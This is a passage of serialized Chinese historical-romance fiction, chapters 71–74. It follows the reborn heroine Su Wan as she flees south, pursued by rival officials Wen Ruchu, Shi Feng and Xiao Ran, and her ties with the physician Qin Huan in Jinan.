那个家伙，竟然在她不知道的情况下，替她取出了体内的银针。
苏绾内心大受震撼，犹如五雷轰顶。当下她头脑一片昏沉，再无力应对秦欢，推说自己旅途劳顿，起身匆匆告辞。
帘内秦欢眼眸泛着微光，一切皆如他所料。上一世遗留的那笔风流冤债，如今终于有了契机。
（未完待续）
71. 陷阱
六月将尽，七月来临。
北方的夏季，虽然来得迟一些，气势绝不输于南方。炎炎烈日当空，酷热难当，人间仿佛下了火，没有一丝暑尽的迹象。
旌旗猎猎，车马驱驰，广袤无垠。
浮华帘幔掀起，露出俊朗非凡的面庞，双眸似桃花含露，努力眺望天边尽头。
忽而一抹黑影自侧方掠过，顷刻间遮挡了远眺的视野，桃花眼眸弯了弯，檀唇微启：“京城相距杭州，迢迢两千里，道阻且长。榆白兄护送之劳，我真不知该何以为报。”
银白骏马白玉鞍，端坐一位玄甲将军，凤眸清冽，浑身散发出威严气息，令人难以接近。
男人紧握缰绳，声如寒冰：“我自奉圣上旨意，护送温侍郎一路南下，并非出于私心，温大人不必挂怀，本将军心领了。”
温如初笑了笑，“瞧瞧你那副傲娇德行，好赖话也听不出来，我是在心疼你！你在诏狱受了天大的委屈，身上伤疤还未痊愈，就急匆匆地启程保驾，朝廷也忒不近人情焉。”
目光在男人身上逡巡，“李鹤鸣怎么欺负你的？回头我找锦衣卫算账！他竟敢公报私仇，这口气绝不能轻咽下去。”
语气充满愤懑，倒真好像要替他寻仇一般。
时枫斜睨一眼对方，鼻腔哼得一声，“你不必同我假惺惺，你我的兄弟情分，早在我入诏狱那一天就已经断干净了。你真当我不知道吗？背后挑唆陆能御前告我黑状的人，不是你还能是谁？”
温如初轻叹一声，“原来榆白是为这个生我的气啊，实乃天大的误会！你可知陆展元之祸乃何人所为？说出来你决然不信，是苏府的一名仆役，化装成女子模样，堵着西城门暗施毒手。”
“陆能调查出凶手身份，首当其冲便是怀疑我！我在御前同他据理力争了半日，他找不到替罪羔羊，只好胡乱猜测人。榆白你也只是时运不济罢了。”
温如初行事谨慎，从不在细枝末叶上露出破绽。他若有意策划一件事情，必然将自己择清或者隐匿至深。
时枫也不过是信口开河，随便说说而已。陆展元被害案，以及他被抓进诏狱之事，前因后果，清清楚楚，没有半点疑虑。
他对邵云礼所言，百思不得其解。
邵云礼信誓旦旦地告诉他：“温如初已在不知不觉中，彻底掌控了后宫势力。如今朝堂之上，除却阁部之外，再也无人能与之抗衡。”
温如初何时何地，以何种手段，笼络后宫？又凭何杀害时樾，转投阁老门下？凭他一人之力，岂能分身兼顾那许多事情？
*
那日，邵云礼自太后寝宫碰了一鼻子灰之后，在别无他法，万般无奈的情况下，不得已转身急匆匆地赶往镇南王府。
镇南王年过六旬，早已卸甲归田，平日里无事可做，唯独宠爱养猫。因其钟爱的“御猫”飘雪无端失踪，他不得不派人四处搜寻，却因此与邻府结怨。
温侍郎直接一纸谏文，将他告上御前，控告他“侵扰邻里”的罪名。岂有此理，他还未控诉对方绑架御猫，对方先发制人，让他百口莫辩，有理说不清。
结果圣上将两案并为一案，交由司礼监审理。
众所周知，司礼监向来站在太后一边。镇南王虽非太后亲生，但毕竟血浓于水。
镇南王听闻此事，以为机会来了，便急急赶赴太后寝宫，涕泪俱下，细述温侍郎如何欺辱他。
谁知太后听罢，只是摇头叹息，未置一词，推说头风犯了，便命人将他送走。
镇南王瞪大眼睛，难以置信太后，竟然不肯为他主持公道。
他不禁怀疑，太后年事已高，已不辨是非轻重。
果不其然，司礼监审理结果——镇南王全面败诉，宅墙地基须内退十丈；御猫亦被关进牢笼，不得再靠近温府半步。
镇南王恨不能将温如初撕成碎片，亦恨太后不顾血脉之情。可还记得，三十年前“夺嫡大战”中，他是如何舍命帮助七皇弟剿灭太子党羽，并登基为新储，而当时的贵妃，也一跃升为皇后，最终成为太后。
帝王之家，果然无情。
镇南王心中积怨无处宣泄，只得埋身躺进家中藤椅上，怀里抱着御猫，空对着满园夏花，黯然神伤。
“飘雪啊飘雪，你可不许学坏，反咬主人一口哦。人心啊，最难预测。”
忽然朱总管传报：“大理寺卿求见。”
邵云礼甫一进花苑，随即高呼：“王爷救命，救命！”
镇南王疑惑：“尔卿何故求救于本王？”
邵云礼道：“王爷可知，京卫指挥使时枫遭人陷害，被抓进诏狱受审。”
镇南王眨眨眼，“本王略有耳闻。”
邵云礼道：“王爷可知，是哪个奸佞小人在背后谗言，诋毁时将军？”
镇南王摇摇头。
邵云礼道：“还不就是户部侍郎温如初！”
镇南王大惊，“怎么回事，你快说来听听。”
邵云礼便将事情前因后果，掐头去尾，添油加醋，顺着镇南王的心意，缓缓道来。
他讲述时枫如何英勇捣毁山寨，救出苏绾，又如何怒斥陆展元，却因此激起了温如初的嫉妒之心。温如初暗中挑唆陆能诬告时枫，导致其入狱。而太后竟然无端偏袒温如初，对时枫的遭遇视而不见。
镇南王听罢，情绪激动，紧握双拳，连那花白的胡须也因愤怒而微微颤抖。他心中对温如初的
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恨意更甚，对太后的冷漠也感到愤慨。邵云礼的话，无疑在他心中添了一把火，让他对温如初的敌意愈发强烈。
邵云礼道：“温如初忒为嚣张跋扈，这朝堂之上，岂能由他恣意妄为。”
他低声道：“长此以往，皇家的江山，恐遭他人篡夺。”
此话说到镇南王痛处，恨得咬牙切齿，“姓温的也太过嚣张，不给他点颜色看看，他都忘了自己是谁。”
镇南王道：“你不必担心，凭本王书信一封，替时枫向圣上力陈冤屈。圣上因御猫一案，自知对我不公，我若如此推荐他，圣上必会领情。”
邵云礼大喜：“多谢王爷成全，卑职替时枫感恩戴德。”
“仅凭如此，恐怕伤不得温如初的根基。还请王爷上本，推荐时枫作为钦差，南下跟随温侍郎。名义上是护卫，实则为监督、甚至……”
他打住话头，手背一抹脖子，做了个暗杀的动作。
镇南王心领神会，当下商定谈论下一步。
就这样，借助镇南王的庇佑，时枫得以从诏狱里释放。
临走那一日，李鹤鸣负手而立，脸色异常难看。
时枫拖拉着沉重的脚镣，昂首挺胸走出门，经过李鹤鸣时，对方沉声道：“为兄亦有苦衷，贤弟不会怪为兄吧？”
时枫凛然一笑，“李大人说的对，都是圣上的奴才，谁也别说谁。”
“只是……”他冷笑一声，“你的奴才相，难看死了，我看了，隔夜饭都要呕出来。”
李鹤鸣脸色青白，后槽牙几乎被咬碎。
时枫出了诏狱，打老远望见邵云礼招手。
邵云礼道：“你小子命真大，进了诏狱居然全须全尾地出来，百年来屈指可数。”
时枫惨笑一声：“说吧，你是怎么把我从诏狱里面捞出来的。”
邵云礼如此交代一番，末了提醒他：温如初绝非一般人，此人浑身上下都是谜题，小心驶得万年船。
夏风多暖暖。
时枫道：“你的未婚妻失踪，也未见你着急。怎么，后悔娶她吗？”
温如初笑道：“她怎么会失踪呢？她的一举一动，皆在我的视线之内。我再了解她不过，离开我的身边，哪怕只要一刻钟，她都要哭着找寻我呢。”
时枫听得心里泛酸，“那我怎么不见她，缠着你不放呢？”冷笑道：“她不会想要逃离你的身边吧？”
温如初冷笑道：“榆白管得也忒宽，实话对你说吧，绾绾已早我一步南下，如今大概到了济南府地界。咱们一路行过去，正好与她碰头。”
时枫心内一紧，温如初如何知道她的去处？难道设好陷阱想要围剿她？
（未完待续）
72. 跟踪
青天荡荡，碧草悠悠。
萧染的细长眼眸卷了卷，银灰绢纱襕衫随微风流转，似心底哀愁翻动。
“久违了，苏二小姐～”他故意拉长腔调，慢吞吞地打招呼。
苏绾顿觉头皮发麻，仿佛遭虫蚁啃噬骨髓。追兵竟然来得如此迅速，根本不给她任何机会遁逃。
只是，为何是萧染？
萧染给了她答案，“上次在山寨，又被你使诈侥幸逃脱。一而再，再而三，跌进同一个坑。萧某痛定思痛，天涯海角也要抓到你。”
那一次，苏绾利用口技，模仿大理寺卿援驰京卫指挥使，吓退了萧染的杂牌军。
事后萧染左思右想，越想越不对劲——假如真有所谓的“援兵”，为何不一鼓作气围剿他？
逢敌不亮剑，如同锦衣夜行。
他有理由相信，当时在场人员，仅有他们仨人。所有的一切，都是演出来的假象。
当然不会是时枫在搞鬼，他从一开始就已经将时枫的底细摸得一清二楚。驰骋疆场的冷面将军，绝不屑于弄虚作假，虚张声势。
还剩一个苏绾。
萧染于是着手调查关于苏绾的身世和来历：贱妾所生的庶女，木讷寡言的小姐，擅长刺绣女红，长得还算有点姿色；两年前被路过的温如初从行院拯救，两人一见钟情，遂订立婚约。
除此之外一无所获。
线索中断，令萧染感到颇为头疼，进而又对苏绾生出一丝兴趣：为何她与别家的女子不一样？一切看上去皆合理，细究一番，又没有一处正常。好似一团缠绕的丝线，剪不断，理还乱。
他把这份纠缠归咎于日间思虑太多，而夜里睡得太少。直至手下向他禀报：苏绾假扮成老妇，一路向南，逃之夭夭。
她逃什么呢？
为了进一步弄清楚真相，萧染匆匆踏上征途，跟随苏绾的脚步，来到济南府某医馆。
看到一幅岁月静好的画面。
苏绾咬了咬朱唇，“我与你无冤无仇，何苦追着我不放？”低下螓首，声音遥远且凉薄，“你要杀的人，与我没有半点关系，我也不会求你放过他。”
萧染蓦然一愣，“怎么会没有关系？你有了新相好，就忘了旧情人？”
襕衫袍袖一展，指向遥远的北方，声音颤抖：“你可知他为了掩护你的行踪，甘愿受人诬陷，被抓进了诏狱，再也不曾活着放出来！”
“你说什么？！”苏绾闻言一惊，“你再说一次，他怎么了？”
萧染眨了眨眼眸，叹口气道：“衣不如新，人不如故。他为了你丢掉了性命，你却背信弃义，另投他人怀抱，我还有什么可说的。”
萧染故意撒谎，意欲搅乱苏绾的心神，其实他一早接到消息，此刻时枫已在南行的路上了。
“他、他……”
苏绾只觉耳边绝响缭绕，眼前星火闪耀，嘴里喑哑难言。心中攒聚的那腔热火，趁势向上释放蔓延，烧灼燃烬她的五脏六腑。
天地不复，云雷缔构。
身穿玄衣铠甲的将军，骑着银白色的神驹，手中拉满弯月弓，箭头砉划指向她的喉咙。
男人嘴角动了动，说了句什么。浓重的烽烟窜上戍楼，淹没了男人的话语。
苏绾以手帖耳，大声呼唤：“你说什么？我听不清楚！”
她有些着急，两手拼命比划，却无济于事。筋疲力竭之际，发现自己被麻绳捆绑着，高高立在城门楼。
黑风倏起，白日黯黯。
青面獠牙恶鬼，张着血盆大口，高举松油火棍，点燃如山高柴垛。古老京城血色弥漫，城墙硝烟滚滚，焦糊气味四散。
低眼望去，脚下芸芸众生相，跪地祈求祷告：“妖女苏绾，祸国殃民，天命诛杀之。”
苏绾撕心裂肺呐喊：“我不要死，我不要死！”
玄甲将军手中横举金枪，向苏绾飞掷出去。风驰电掣，苏绾紧紧闭上眼，等待命运的审判。
不知过了多久，万籁俱空七弦定。
苏绾缓缓睁开眼，赫然望见，恶鬼已被一杆金枪扎中肩膀，浑身颤抖躺倒在地，生命危在旦夕。
转头望去，玄甲将军单膝跪在脚下，凤眸清冽炯炯，眼底泛着无限疼惜。
男人咬着牙，脸颊挂着血泪，字字清楚明了：
“苏绾，下一世我将庇护你一生，让你不再受人凌辱摆布。”
流水落花，万物静止。
束缚身体的麻绳骤然断裂，苏绾感到身心无比轻松。白色裙底探出光脚丫，轻轻地向前探了探，虚空缥缈出现圈圈波纹。
她大胆地向前走去。
一步，两步。
踩着熊熊燃烧的烈火，苏绾缓缓走下高台，朱唇低低吟唱童谣：
“救世将军降临，
杀破黎明搅乱天阵，
世界即如指掌大，
翻云覆雨。”
她低眸觑着玄甲将军，伸出素白玉手，轻轻抚摸脸颊，为他揩去血泪。
“谢谢你，为我做的这一切。”
“如果有来世，我会用一生的眼泪来偿还你。”
“但我不需要你的庇佑。”
“我自己可以的。”
说完，浑身生出红色铠甲，将苏绾紧紧包裹住，身骑金红色宝马，手握三尺金杖。
苏绾擎着金杖，向混沌污浊处，轻轻一点。浊气瞬间烟消云散，化为一缕清风隐没。
身后红云涌动，数不清的士兵高举红色旗帜，汇成复仇的海洋。末世终将推翻，苍生得以解救。
千钧一发之际，秦欢疾步向前，扶住晕厥倾倒的苏绾，将她横腰抱起。
“瞧你干的好事！”秦欢满脸怒容，对萧染嗔道。
萧染一脸看好戏似的坏笑，背着手调侃道：“你什么时候同她搞在一起？你可知她是谁的女人？”
秦欢没空搭理他，抱着苏绾匆匆走进厢房。彼时无霜呆愣在一旁，手里的青州府花边死攥着不放。
无霜并不认识萧染，然而从苏绾的反应来看，她断定萧染不是好人。而秦欢与萧染熟识的样子，令她更添一层担心。
无霜眼看着秦欢将苏绾轻轻放到床上，替她整理鬓边散乱的发丝，小心翼翼掖好被角，缓缓拉合床帏。动作轻柔体贴，处处充满细腻的心思。
无霜张了张嘴，正想开口说点什么。
“嘘～”秦欢低声示意她，“你不要怕，她只是忧虑过度，本无大碍，睡一觉就好了。”
无霜木楞地点点头。
停了一息，秦欢淡淡问道：“你可认识京卫指挥使，时枫？”
无霜瞬间石化。
*
九夏花开，百年树垂。
萧染背靠书房窗格旁边的墙壁，双臂交叉抱在怀里。
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慵懒随意的姿态，看起来与襕衫散发的书卷气显得格格不入，恰好展现出，他本身就是矛盾的载体。
修长手指轻敲手臂，萧染撇了撇檀唇，“你躲在医馆算天算地，却算不到那个人的存在，也太无用了呀。整个京城都晓得，他们三人之间错综复杂的感情关系，只有你个傻瓜还蒙在鼓里。”
秦欢依旧撰写万年不变的药方，听到萧染一席揶揄之言，眉头蹙了蹙，不悦道：“你早知如此，怎不预先告知我？事后诸葛亮，又有何用？你就是这般报答我的？枉费了我对你的知遇之恩。”
萧染挺了挺眉毛，“哎哎？有事说事，别扯那些没用的。你我之间的情分是另一码事，跟她苏绾没有半文钱关系哟。”
“谁让你闷着捂着，绝口不提自己还有这么一个表妹，叫我上哪里猜测你的心上人姓甚名谁。我才要鸣冤叫屈！你想我一路追踪她，莫名其妙追到你家里来，可想而知我比谁都震惊，谁来安抚我一颗受伤的脆弱心灵呢？”萧染抬起宽大衣袖，假装痛心疾首，捶击胸膛。
全拜那人所赐，让他领了一道天命血痕，时隔半月，触碰伤口依然隐隐作痛。
那点微乎其微的痛苦，躲不过秦欢的眼睛，他陡然站起身，缓缓趸步走近萧染，伸手触摸他的胸膛。
突如其来的靠近，慌得萧染侧身一闪，“喂，你说归说，不带动手动脚啊。”
秦欢翻了翻眼白，揪着襕衫，将萧染摁坐于案边，兀自扯开前襟察看。果不其然，胸前缠绕厚厚的一层麻布绷带，因处理不够及时得当，渗透出莫名的液体，已有些发黄发硬。
他转身找到医药箱，掏出各种工具，熟练地为他更换绷带。此刻萧染突然不躲了，乖乖给他随意摆弄。
秦欢边换药，边叹气，“我本不欲将苏绾拉扯进是非之中。从头到尾，我的目的只有一个：杀掉温如初。为此我精心准备了整整两年，暗中招兵买马，就为了堵死温如初的前程。可不知怎地，温如初官运亨通，平步青云，竟然还搭上阁老的关系。如今他更是笼络了后宫人脉，就连太后和皇后也对他宠爱有加。”
秦欢一拳敲上桌案，咬牙恨道：“可恶，我似乎怎样都赶不上他的步伐。”
这一拳震动案边工具碰撞，叮当作响，萧染生怕自己被人当做出气筒，顺便再给他无端添加一道天命血痕，直接胸膛开个红叉。
他吐了吐舌头，“我是不知道你跟温如初有何深仇大恨，你这也不肯说，那也不肯说，一心独自复仇。我就是想帮忙，也帮不上啊！再说了，温如初不过是阁老的一条狗，至于你这般大费周折地算计他么？”
“至于时枫那边，你放心吧，朝廷就没想过让他活命，早晚有一天他会落到我手里，根本不需要你操心。若不为追杀时枫，我才懒得跟踪苏绾这条线呢。”
其实他跟踪苏绾，完全出于自己的兴趣——他总觉得，苏绾跟别的女孩子不一样，具体哪里不一样，他又说不出来。
萧染卷了卷细长眼眸，建议道：“既然你对她有意，依我看，你不如趁早娶了她，瓜熟蒂落，以防夜长梦多！”
话音刚落，秦欢猛地抬头，死死盯着萧染的细长眼眸，许久。
末了，摇摇头，无奈地叹口气。
窗外夏花绚烂，清风吹过，落英缤纷。花瓣摇摇晃晃，亦如秦欢的心情，一落泥途迹愈深。
（未完待续）
73. 撮合
星河澹澹，凉风习习。满园夏花，浸润斑斓星辉，愈发光彩夺目。草丛里的萤火，星星点点，疑似璇玑陨落。
荷塘翻露气，清风鉴水，明月天衣。绢鞋沾染夜露，珠光玓历，踏着芊眠蒲草，无声无息。
周围漂漾着漠漠香花，搔弄苏绾的鼻尖，有点点痒，令她忍不住打了个小小的喷嚏。
“冷吗？披上我的袍子。”秦欢脱去青灰外氅，伸手递了过去。
温润的嗓音像暖风，吹散苏绾心里的冰。她抽了下鼻尖，摇摇头，“不冷。燕京的夜比这里凉得多，这里的风是暖的。”
手中的袍子递不出去，秦欢展臂重新穿上衣裳，目光淹穆，“你身体里的郁症常年闷积，不得释放。若不加以调理，急火攻心，堪如虫蚁啃噬，痛苦难捱。”
苏绾叹道：“我这副破锣身子，早不抵用。眼前不过是，挨得一天算一天罢了。”
秦欢奇道：“表妹青春尚好，怎得口气苍凉如老妪？”
他想了想，笑道：“想是前番老妇装得久了，心态还未完全转过来。我有位女病人非说自己不是自己，而是另一个人。她日日想，夜夜想，有朝一日，真就变成那个人，不过是个男子，长了一脸的络腮胡。你小心哦，说不定哪天也会一夜生出满脸皱纹。”
言语诙谐有趣，逗得苏绾花枝乱颤。
“表哥，你真有趣。我虽只认识你几日，却好似度过一生般漫长。”
秦欢卷了卷浓黑的睫羽，眸底闪着某种异样的光芒。夜晚的清风吹拂着银灰色的衣襟，似一朵流云弊月，遮掩了他的悸动，
他垂眸低觑她良久，末了，轻声问了句：“能不能不要走？”
眼神落在别处，脸颊微微泛热，补充道：“再多住几日，我帮你调理身体，治疗你的郁症。”
似乎还不够，又殷切道：“昨日的晕厥，就是身体在向你发警示。如若不及时治疗，待到病发时，恐将山崩海啸，你承受不住的。”
苏绾眨了眨星眸，停了一个呼吸，默默转过身去背对着他，轻轻磕弄绢鞋覆面的夜露。
无声胜有声，秦欢没有等到期待的答复，眸子如星辰坠海，光芒瞬间寂灭。
他抿了抿唇，温声道：“你不必担心萧染，他对你没有恶意，内里其实是个长不大的孩子罢了。”
“萧染身世坎坷，生下来就被送出宫外，父亲武安侯被赐毒酒，母亲寿宁长公主跳井自尽。即便认祖归宗，也只能偷偷摸摸，得不到皇家的认同。”
“他对这尘世充满了怨怼，是以才任性妄为，行事鲁莽了些，我替他向你道歉。”
秦欢的一番话，苏绾只听进去一半。
上一世，萧染认祖归宗以后，很快就同首辅温如初打成一片，并且成为他最得力的爪牙，助其杀灭皇帝一族。那杯毒死皇帝的鸩酒，乃是萧染双手奉上，眼睁睁逼着自己的亲舅舅自尽，就为了替父母血亲报仇。
历史重写，萧染竟同秦欢处成莫逆之交，令她感到迷惑不解——
因为上一世，秦欢并不认识萧染啊！
秦欢为人低调，从不惹事生非。自入宫做贴身御医起，就只同熹贵妃一人亲近，很少接触外人。而他与苏绾，也多是幽会于无人踏足的冷宫。
他牵着她的手，教她辨认各种药草、兽骨、丹石；一笔一划给她讲解人体经脉，顺便教了她几招防身术——专攻男子身体两处最为柔弱部位。
“有多柔软？”她不懂装懂，明知故问。
他一时语塞。
她吃吃地笑，觑他红透的耳根，玉手抚上他微热的面颊，“秦大夫也有答不上来的一日啊。”
他捉住她的皓腕，扣住一双葇荑，拇指的薄茧轻轻地搓弄掌心，痒痒的。心底无限柔软爱怜，顺着指尖的碰触，化作温润的暖流，缓缓地浸入她的心田。
从此身边，半溪明月，一枕清风。
“表妹可以原谅他吗？”映着半颜星辉，秦欢低着头问道。
“啊？”苏绾猛然间从回忆中猝醒。
她垂下眼眸，心慌道：“说什么原谅不原谅的，我与他之间，也无深仇大恨，何必纠缠不清。”
秦欢放了心，“你们之间，都是一场误会，说清楚了最好。”
只是一场误会而已吗？
昨日苏绾自昏厥苏醒后，遇见无霜红肿着双眼，嗫嚅跟她赔不是。
无霜哭道：“霜儿没办法，不得不向秦大夫坦白，出卖了小姐。”
苏绾急道：“那个家伙怎么样了？”
无霜脑子里想了个来回，总算想明白苏绾口中的“那个家伙”是谁，答道：“秦大夫说，黑狗将军已从诏狱释放，安然无恙。”
苏绾如释重负。
细想一番，萧染所言，根本就是子虚乌有的胡诌。叱咤漠北的“冷面阎罗”，哪可能轻易就断送在诏狱？
可她又不是没见过诏狱的恐怖情景，司礼监的掌印太监，可是她亲自下令送进诏狱的，换得脚上一双“红绣鞋”。
时枫就算不死，也会被扒层皮。如今他能从诏狱捡回一条命，幸甚至哉。
至于其他方面，待她问清楚缘由之后，不由得吓出一身冷汗。
秦欢竟与萧染熟识。
先不说秦欢如何认识的萧染，萧染对她和时枫之间的过往了如指掌。也就是说，如今秦欢已经知道，她委身于别的男人，厚脸皮卖身谋求庇佑！
怎么会这样？！
苏绾当下万念俱灰，只想立刻收拾行囊，趁早滚蛋离开医馆。
她知会无霜春蝉文竹等人，准备离开之际，一出门，却见到童子展臂堵在门口，“先生吩咐，不准放走客人。”
春蝉掐腰道：“我们白吃了你家的米不成，怎就不能离开？”
童子急出一头热汗，“不是这么说的，先生此去渡口办事去了，临行前叫我无论如何都要留住客人。我若任你们就这样走了，回头先生定会将我逐出师门不可。”
苏绾见童子这般殷切，也不便再强行闯关，叫他难办。只好又将行李放回原处，回到厢房大眼对小眼。
文竹道：“二小姐莫急，小的也算识人无数。我观那位秦大夫，不似小肚鸡肠，心胸狭窄之人。他救死扶伤，兼济天下，也知人间苦楚，眼里未必容不下二小姐。”
不是秦欢容不容得下她的问题，事实上，秦欢性情豁达，从不低看任何人。上一世，她那样不堪的过往，他尚且能够坦然接受。如今她的这点龌龊事，他应、应该不会……
苏绾黯然神伤，颓然坐于床畔，心中悔恨交加。恨自己一失足成千古恨，无颜以对江东父老。
幸好那个家伙命大，倘若他命丧诏狱，
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她这一身清白错付了不说，更不知何处发泄满腔愤怒。
然而再多悔恨，亦于事无补。
毫无疑问，秦欢站在萧染一边，而萧染立场未明，但总非与她同心，否则也不会千里追杀她。
换而言之，这一世，秦欢与她为敌。
苏绾心中一惊，冷汗淋漓。想不到重生一世，历史的潮流竟将她推到如此进退两难的境地。
如何翻身扭转乾坤呢？
她痛恨自己被动受制，被世人算计，却还懵懂无知，助纣为虐。可她手中无兵无权，无可用之棋子，何以逆天改命？
她有三步棋可走：
其一，探明秦欢的底细，必要时笼络秦欢，使其为己所用。
其二，继续与时枫周旋，借其羽翼庇护，图谋占用他的京营兵力。
其三，联合一切可联合力量，集结各路兵力，目标直指温如初。
愿景虽然美好，然而成功几率渺茫。借他人之力，终非长久之计，可她又当如何寻觅属于自己的兵力？
苏绾瞥了一眼摆放角落里的单薄行李，囊中羞涩，令她倍感窘迫。
暑风披襟，菡萏为衫。
秦欢有意撮合他二人消除误会，几次摆宴邀请两人，苏绾倒还应对自如，可萧染一直躲着不肯见她。
秦欢语重心长道：“你这么大个人，怎么同小孩子般扭捏！明明是你怠慢了人家，如今人家肯坐下来听你认错悔改，怎得你还不领情，也忒为无礼！”
萧染撇了撇檀唇，“哎哎？你别自说自话啊，谁要跟她道歉认错？我哪里做错了？她可是脚踏两只船的荡……”
话说到一半，细长眼眸瞥了秦欢一眼，见对方脸色难看，他又硬生生咽回去了。
“你、你不要忘了，她、她是温如初的未婚妻，还、还是时枫的相、相好。我向她道歉，等于与你为敌。”萧染结结巴巴道。
秦欢正色道：“你少给我惹麻烦，才是帮我的忙。你凶神恶煞地追着人家跑，人家魂都被你吓飞了，如何愿意留下？她若一走了之，天涯海角让我何处寻她？”
萧染眼睛一亮，“你的意思是，我出面留住她，你就愿意跟她拜堂成亲？”
秦欢眼前一黑，“你怎么这么喜欢撮合别人成亲？我听说你在京郊黑风寨，就曾强行替人举办婚礼，你有什么大病吗？当红娘上瘾啊！”
萧染不好意思地挠挠头，“我不是喜欢当红娘……”
他的父母一对苦命鸳鸯被人生生拆散，自己襁褓之中就被送到乡下，此生惟愿促成更多的有情人终成眷属，以解父母星离月散之遗憾。
然而不知怎得，轮到苏绾的头上，他又犹豫了那么一两息。
他不大喜欢看她，和别人在一起。
最终，萧染一路嘟嘟囔囔，唠唠叨叨，极不情愿地跟随秦欢，踏进济南府最有名的“听泉阁”。
待三人坐定，话未说上几句，萧染就上手掀了桌案。
满满一桌子的美味佳肴，伴随叮叮当当的碎裂声，混成一锅粥。
苏绾尚且淡定自若，垂眸整理衣裙，酥手掸去沾染的飞沫。
秦欢气得脸色铁青，怒道：“你给我滚出去。”
萧染的细长眼眸，不可置信地在秦欢面上滚了滚，声音颤抖：“你、你为了这条美女蛇，竟然叫我滚？”
74. 演戏
济南有泉，名为趵突泉，又名槛泉，为泺水的源头。三股泉水成一线紧密排列，齐声迸发，声势浩大，得“天下第一泉”的美誉。
听泉阁临泉而设，古木参天，翠竹环绕，泉水潺潺，清澈见底，映照楼阁飞檐翘角，宛若一幅流动的水墨画卷。楼内雕梁画栋，灯火通明，酒香与泉声相和，令人心旷神怡。窗外碧波荡漾，鱼翔浅底，落叶随波逐流，更添几分诗意。
宾客如云，觥筹交错，笑语盈盈。一位身着竹月色襕衫的年轻公子，眉目如画，举手投足自带一股风流贵气。
可不知何故，公子面色骤变，眼中闪过一丝决绝，双手一掀桌案，珍馐佳肴应声滑落，玉盘碎裂，狼藉满地。
周围的看客们，或是惊愕掩口，或是窃窃私语，或是面露同情，或是幸灾乐祸。繁杂目光在公子与同伴间来回游移，试图捕捉这场争执的来龙去脉。
店小二动作麻利，打发杂役迅速收拾现场。顷刻之间，窗明几净，地板整洁，刚才的飓风仿佛从未登陆。
襕衫公子眉宇间尽是怒意与不甘，唇角紧抿，尽显懊恼与愤懑。原本清澈的眸子，如同乌云弊月，失去了往昔光彩。修长手指指向秦欢，声音充满愤怒，与不可置信。
“你竟然叫我滚？！”
萧染捶胸顿足，咬牙切齿恨道：“凭她三两弥谎，怎能随意侮我清白？真是岂有此理！你还帮着她说话，她是只狐狸精，专门吸食男人精血，你知道吗？”
“你道是天上掉下个苏表妹，可曾想过，最毒妇人心！这一切都是狐狸精设下的桃花陷阱，仙人跳，只为离间你我之间的情谊。”
对方喋喋不休，满嘴污言秽语，令秦欢忍无可忍，脸色青一阵白一阵，写满了“我要你死”四个大字。
“别闹了。”他阖合眼眸，轻轻吐口气，咬了咬唇。
“道歉。”他言简意赅。
萧染一番血泪控诉，换回冷冰冰的两个字。眼前秦欢仿佛变了个人，疾言厉色，一改往日熏风解愠。
纨绔公子耷拉着肩膀，一脸生无可恋，只觉人生愁恨何能免，前半生的知遇情谊，全部付水东流。
萧染卷了卷细长眼眸，摆出来贵公子惯用的玩世不恭的模样，向地啐了一口，“道歉？没门！”
“小爷我不跟你们玩了，再会！”
言毕，狠狠瞪了苏绾一眼，甩了甩襕衫宽大袖子，拂衣潇洒离去。
剩下秦欢与苏绾，两人面面相觑。
秦欢苦笑道：“抱歉，让表妹见笑了。”
苏绾难得观了一场好戏，胸中积郁多日的烦闷，顷刻间如释重负，顿感神清气爽。
她其实并未说太多，也未做多过分，任凭他人如何斥责辱骂，原则上绝不还口，也不辩解。她只管柔柔弱弱地往那一坐，绢帕掩面，假作拭泪。甭管他是什么样的男人，冷酷将军也好，清冷御医也罢，皆难以抵挡诱惑，准保对她言听计从。
活了两世，这一招屡试不爽。
苏绾的这种能力，并非一朝一夕练就。她从小就在复杂的家庭环境中长大，学会了如何用眼泪来保护自己，如何用柔弱来赢得同情。她的母亲九香，就是一个擅长用眼泪和柔弱来操控人心的女人。苏绾从小耳濡目染，青出于蓝而胜于蓝。可惜苏家人并不吃她那套，所以苏绾只好整日摆出一副木讷寡言，惶惶不可终日的样子。
她障袂嗫嚅道：“表哥才是要笑死，我被人这般指着鼻子骂。”
那副娇娇软软的样子，我见犹怜，忍受折催。就算是秦欢，也难以招架。
秦欢忍不住抬起手，想去捏她的桃花面颊，行至半途方知不妥，拇指食指搓了搓，又硬生生收回来，尴尬道：“表妹莫要生气，我替萧染向你赔不是。”
说着，秦欢端起青灰色丝绸袍袖，毕恭毕敬向苏绾作揖，嘴里唱道：“表妹大人有大量，小生这厢有礼了～”
苏绾就喜欢他这副既正经又圆滑的模样，不禁莞尔道：“好酸的大夫。”
闻听此言，秦欢猛地抬起头，古井无波的眼眸，瞬间浪潮翻涌。他死死盯着苏绾，仿佛要将她看穿看透。
看得苏绾一头雾水，以为自己妆容不妥，玉手打点妆发，疑惑道：“我脸上落灰了吗？”
秦欢睇了一阵，大概也觉得自己行为唐突，摇了摇头，讪笑两声，“我在表妹面前，总是这般没有自信，有时候说话走了嘴，还请表妹海涵。”
两人拉扯一阵，渐渐地，两扇肩膀挨得越来越近，周围空气也变得火热。
胶着之际，忽然雅间木门洞开，一阵疾风卷入。
冲进来四五名蒙面男子，手持匕首凶器，霍霍挟持两人。
秦欢的脖颈处，蓦然伸过来一柄明晃晃的刀刃，对方语气蛮横：“不许声张，否则割断你的喉咙。”
秦欢镇定道：“你们大概找错人了。”
为首的蒙面人一把扯下面罩，苏绾定睛一看，呀，竟然是百户长！
百户长道：“苏姑娘，我们来救你了，你可还好？”
百户长一行人紧随苏绾的足迹，一路追至泺口渡，不巧正逢沈恪的车队经过。因担心被人识破他们京营铁骑的身份，众兵卫不得不提前下马，匆忙更换盔甲，扮做平民百姓，悄悄隐匿行踪。
待沈恪乘坐官船离开后，众人蓦然发现苏绾等人不见了踪影。原来苏绾被山羊胡向导引领，从某处隐蔽的野渡上船，选择了一条充满危险的捷径渡河，巧妙避开了百户长的视线范围。
无奈之下，百户长只得重新制定方针战略。渡过黄河之后，他们来到繁华的济南府。经过一系列追踪搜寻，众人在某医馆找到了失踪数日的苏绾等人。
百户长打听一番医馆主人秦欢的背景，其人光风霁月，不萦于怀，街坊邻居人皆交口称颂。正当众人准备上门拜访之际，萧染突然现身于医馆。
这一路百户长率兵多次截击追踪苏绾的歹匪，偶有活口余留，也曾提及萧染的名号。慑于萧染手里有兵，百户长不敢轻举妄动，选择暗处潜伏，伺机而动。
